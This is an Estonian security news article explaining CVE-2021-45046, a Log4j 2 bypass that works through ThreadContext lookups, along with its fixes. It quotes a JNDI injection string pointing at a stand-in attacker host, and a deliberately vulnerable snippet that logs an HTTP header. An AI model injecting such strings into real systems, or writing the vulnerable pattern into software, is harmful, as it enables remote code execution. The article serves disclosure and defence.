Log4j 2-le on leitud uus rünnakuvõimalus, mis võimaldab mööduda lisatud kaitsetest.

Log4j 2 teostatavad JNDI asendamiseks on avastatud veel üks haavatavus (CVE-2021-45046), mis avaldub vaatamata 2.15 väljaandes tehtud parandustele ja olenemata seadistuse "log4j2.noFormatMsgLookup" kasutamisest turvamiseks. Probleem kujutab endast ohtu peamiselt vanadele Log4j 2 versioonidele, mis on kaitstud lippude "noFormatMsgLookup" abil, kuna see võimaldab ületada kaitset varasema haavatavuse (Log4Shell, CVE-2021-44228) vastu, mis võimaldab täita oma koodi serveris. Versiooni 2.15 kasutajatel on ekspluateerimine piiratud olekute loomiseks, mis toob kaasa rakenduse äkilise sulgemise tõttu saadaval olevate ressursside ammendumise.

Haavatavus avaldub ainult süsteemides, kus logimise ajal kasutatakse kontekstipäringuid (Context Lookup), nagu ${ctx:loginId}, või MDC-malle (Thread Context Map), näiteks %X, %mdc ja %MDC. Expluateerimine on kärbitud tingimuste loomiseks, et logis välja anda andmeid, mis sisaldavad JNDI asendusi, kasutades rakenduses kontekstipäringute või MDC-mallide määratlemise reegleid logiväljundi vormindamiseks.

LunaSeci uurijad on märkinud, et Log4j versioonide puhul, mis on madalamad kui 2.15, võib seda haavatavust kasutada uue Log4Shell rünnaku vektorina, mis viib koodi täitmisele, kui logides kasutatakse ThreadContext'i väljendeid, kuhu sattuvad välised andmed, sõltumata „noMsgFormatLookups” kaitselipu või „%m{nolookups}” malliga seadistamisest.

Kaitse ring on selles, et selle asemel, et süstida otse "${jndi:ldap://attacker.com/a}", süstitakse see muudatuse kaudu vahevariandina, mida kasutatakse logi vormindamise reeglite ajal. Näiteks, kui logis kasutatakse konteksti päringut ${ctx:apiversion}, võib rünnak toimuda andmete "${jndi:ldap://attacker.com/a}" süstimise kaudu väärtusse, mille salvestatakse apiversioni muutujasse. Näide haavatavast koodist: appender.console.layout.pattern = ${ctx:apiversion} — %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L — %m%n @GetMapping("/") public String index(@RequestHeader("X-Api-Version") String apiVersion) { // HTTP päise „X-Api-Version” väärtus edastatakse ThreadContext’i ThreadContext.put("apiversion", apiVersion); // Logimisel töödeldakse väliseid apiversioni väärtusi süstimise kaudu ${ctx:apiversion} logger.info("Received a request for API version"); return "Hello, world!"; }

Log4j versioonis 2.15 saab haavatavust kasutada DoS-rünnakute tegemiseks, edastades ThreadContext’i väärtusi, mis põhjustavad vormindamise šablooni töötlemise lõpmatuse.

Turvalisuse tõstmiseks on välja antud uuendused versioonides 2.16 ja 2.12.2. Log4j 2.16 versioonis on lisaks 2.15 versioonis rakendatud parandustele ja JNDI LDAP-päringute seotusele 'localhost' vaikimisi täielikult keelatud JNDI funktsioon ning eemaldatud on sõnumite kohandamise malle tugi. Kaitse alternatiivina on soovitatav eemaldada JndiLookup klass classpath'ist (näiteks 'zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class').

Pakkide värskenduste jälgimiseks saab külastada distributsioonide lehte (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) ja Java platvormide tootjate lehti (GitHub, Docker, Oracle, vmWare, Broadcom ja Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure jne).

Allikas: opennet.ru